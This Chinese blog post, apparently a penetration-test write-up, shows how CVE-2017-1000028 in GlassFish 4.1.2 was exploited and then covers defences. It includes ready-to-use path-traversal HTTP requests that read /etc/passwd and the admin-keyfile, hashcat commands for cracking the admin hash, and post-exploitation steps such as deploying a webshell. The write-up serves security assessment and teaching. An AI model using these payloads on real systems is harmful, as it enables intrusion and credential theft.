当前位置: 首页 > news >正文

从一次内部攻防演练说起:我是如何利用CVE-2017-1000028漏洞“捡到”GlassFish管理员密码的

实战复盘:GlassFish任意文件读取漏洞的深度利用链

那是一个普通的周二下午,我正在为客户做内部网络的安全评估。按照惯例,我先用Nmap对目标网段进行扫描,突然在扫描结果中发现了一台开放4848端口的服务器——这个端口号让我瞬间警觉起来,因为4848正是GlassFish应用服务器的默认管理端口。

1. 目标识别与初步侦察

GlassFish作为一款开源的Java EE应用服务器,在企业内部环境中并不罕见。但将管理界面直接暴露在内部网络中,往往意味着潜在的安全风险。我决定先对目标进行指纹识别:

curl -I http://target-ip:4848

返回的响应头中清晰地显示了服务器信息:

Server: GlassFish Server Open Source Edition 4.1.2 X-Powered-By: Servlet/3.1 JSP/2.3

这个版本号立即让我联想到CVE-2017-1000028漏洞——一个经典的任意文件读取漏洞。为了确认漏洞存在的可能性,我快速查阅了漏洞影响范围:

漏洞编号影响版本漏洞类型
CVE-2017-1000028GlassFish ≤4.1.2任意文件读取

2. 漏洞原理深度解析

这个漏洞的本质是Java对UTF-8编码的特殊处理机制。正常情况下,URL中的路径分隔符应该是正斜杠(/),但Java会错误地将特定编码序列解析为路径遍历字符:

  • %c0%af\uC0AF/(正斜杠)
  • %c0%ae\uC0AE.(点)

这种编码转换的深层原因在于Java的UTF-8解码器实现。当遇到%c0%af这样的双字节序列时:

  1. 二进制表示为:11000000 10101111
  2. 去除UTF-8前缀110后得到:00000 101111
  3. 转换为十进制47,对应ASCII码中的正斜杠

利用这个特性,我们可以构造特殊的URL路径,实现目录穿越:

http://target:4848/theme/META-INF/..%c0%af..%c0%af..%c0%afetc/passwd

3. 漏洞利用实战过程

3.1 初始探测

我先尝试读取系统的基础文件确认漏洞存在:

GET /theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd HTTP/1.1 Host: target-ip:4848

当看到返回的/etc/passwd文件内容时,我知道这个系统确实存在漏洞。但作为安全评估,我需要获取更有价值的信息。

3.2 关键文件定位

GlassFish的管理密码存储在特定位置:

glassfish/domains/domain1/config/admin-keyfile

我构造了如下请求来获取这个关键文件:

GET /theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile HTTP/1.1 Host: target-ip:4848

返回的文件内容格式如下:

admin;{SSHA256}DqA5sL7QJ8gV2Np1XwYz9xKbRtHjMlP3OiUvEeWc...

3.3 密码破解策略

GlassFish使用SSHA256算法存储密码哈希,这是一种加盐的SHA-256哈希。我采用了以下步骤进行破解:

  1. 使用hashcat识别哈希类型:

    hashid -m 'DqA5sL7QJ8gV2Np1XwYz9xKbRtHjMlP3OiUvEeWc...'
  2. 准备破解命令:

    hashcat -m 1410 -a 3 hash.txt ?a?a?a?a?a?a
  3. 最终在8小时后成功破解出明文密码

提示:在实际评估中,建议使用更强大的字典或组合规则来加速破解过程

4. 后渗透与风险扩大

获取管理员凭证后,登录管理界面(http://target-ip:4848)只是第一步。真正的风险在于后续的攻击链:

  1. 应用部署:通过上传恶意WAR包获取Webshell
  2. 数据访问:查看部署的应用配置和数据库连接信息
  3. 横向移动:利用服务器作为跳板访问内部其他系统

下表展示了GlassFish管理界面常见的高风险功能:

功能模块潜在风险安全建议
Applications恶意应用部署严格审核部署包
Resources数据库凭证泄露加密存储配置
Configurations系统设置篡改定期审计配置

5. 防御措施与最佳实践

基于这次评估经验,我总结了以下防护建议:

  • 版本升级:立即升级到GlassFish 4.1.2以上版本
  • 网络隔离:管理界面不应直接暴露在网络中
  • 密码策略:强制使用复杂密码并定期更换
  • 日志监控:密切监控异常文件访问行为

对于开发团队,我建议在代码层面增加以下防护:

// 示例:安全的路径校验方法 public static boolean isValidPath(String path) { return path.matches("^[a-zA-Z0-9_\\-./]+$") && !path.contains(".."); }

这次评估最让我印象深刻的是,一个看似简单的文件读取漏洞,配合弱密码策略,最终可能导致整个系统沦陷。安全防御需要层层设防,任何一个环节的疏忽都可能成为攻击者的突破口。

http://www.jsqmd.com/news/693271/

相关文章:

  • AI 英语教学智能体开发
  • MacBook卡顿别急着换新!用这招‘原地重装’macOS,半小时恢复流畅,数据软件全保留
  • 突破窗口限制:SRWE如何让游戏截图和UI测试效率提升3倍
  • VSCode + Q# 开发环境搭建全链路,深度解析量子模拟器延迟超限的5大根因及修复方案
  • 告别Transformer算力焦虑:用KBNet的KBA模块在图像降噪任务中实现SOTA效果
  • 抖音批量下载终极指南:如何免费高效获取无水印视频内容
  • 2026年乌鲁木齐工装设计与别墅全案定制:龙腾装饰千万级工程承接能力深度评测 - 优质企业观察收录
  • 电话号码精确定位:免费开源工具的实用指南与深度解析
  • 云手机 手游党多开群控的选择
  • PACS系统选型与部署避坑指南:医院影像科技术负责人必看的架构解析
  • YOLO11涨点优化:Block优化 | 替换为InternImage中的DCNv3 (Deformable Conv v3),大模型核心组件下放,CVPR2023
  • 从芯片漏电到信号畸变:用LTspice XVII深挖二极管钳位电路的两个隐藏问题
  • 别再手动搬数据了!用Kettle(PDI)9.2做个ETL小工具,5分钟搞定数据同步
  • 3个场景告诉你:为什么Mac用户需要桌面歌词显示工具LyricsX
  • Windows平台安卓应用安装解决方案:APK Installer技术实现与应用实践
  • 日志看不到错误?VSCode终端、Extension Host、Renderer三端日志定位秘技,一线工程师紧急修复手册
  • 不止于搭建:让你的Tor网桥更安全、更隐蔽的5个进阶配置技巧
  • 温州市温瑞再生资源回收:玉环电线电缆回收电话 - LYL仔仔
  • FreeModbus协议栈源码结构深度解析:不止是移植,更要读懂它
  • 2026年4月24日成都市场建筑钢材价格行情 - 四川盛世钢联营销中心
  • 告别盲目选择!机械设备GEO优化靠谱平台TOP5,效果可追溯 - 品牌推荐大师
  • 从单核到双核:手把手教你用CCS7.40搞定TMS320F28377D双核DSP的GPIO控制(附工程文件)
  • Unity 2019.4.10f1 实战:5分钟搞定你的第一个AI寻路NPC(NavMesh保姆级教程)
  • 终极B站视频转换方案:5秒完成m4s到MP4无损转换
  • 如何轻松导出微信聊天记录并生成年度社交报告?WeChatMsg完全指南
  • 免费在线 PNG 转 WEBP 工具推荐:批量处理 + 浏览器本地运行 + 隐私安全
  • 10分钟搭建无服务器ChatGPT应用指南
  • ESP32-C5无线安全研究工具M5MonsterC5解析
  • macOS百度网盘加速插件:突破下载限速的终极方案
  • MATLAB代码实现电动汽车微网虚拟电厂日前经济调度模型,考虑多种需求响应资源和空调负荷调控策略